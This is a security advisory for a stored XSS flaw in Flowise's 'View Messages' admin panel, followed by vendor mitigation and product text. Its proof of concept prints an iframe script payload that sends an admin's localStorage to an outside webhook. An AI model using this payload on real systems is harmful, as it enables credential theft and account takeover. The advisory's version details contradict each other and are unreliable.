GHSA-964p-j4gg-mhwc
CRITICALFlowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - Affected versions:
< 2.2.7 - Patched versions:
1
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-964p-j4gg-mhwc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-964p-j4gg-mhwc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-964p-j4gg-mhwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-964p-j4gg-mhwc in your dependencies?
O3 detects GHSA-964p-j4gg-mhwc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.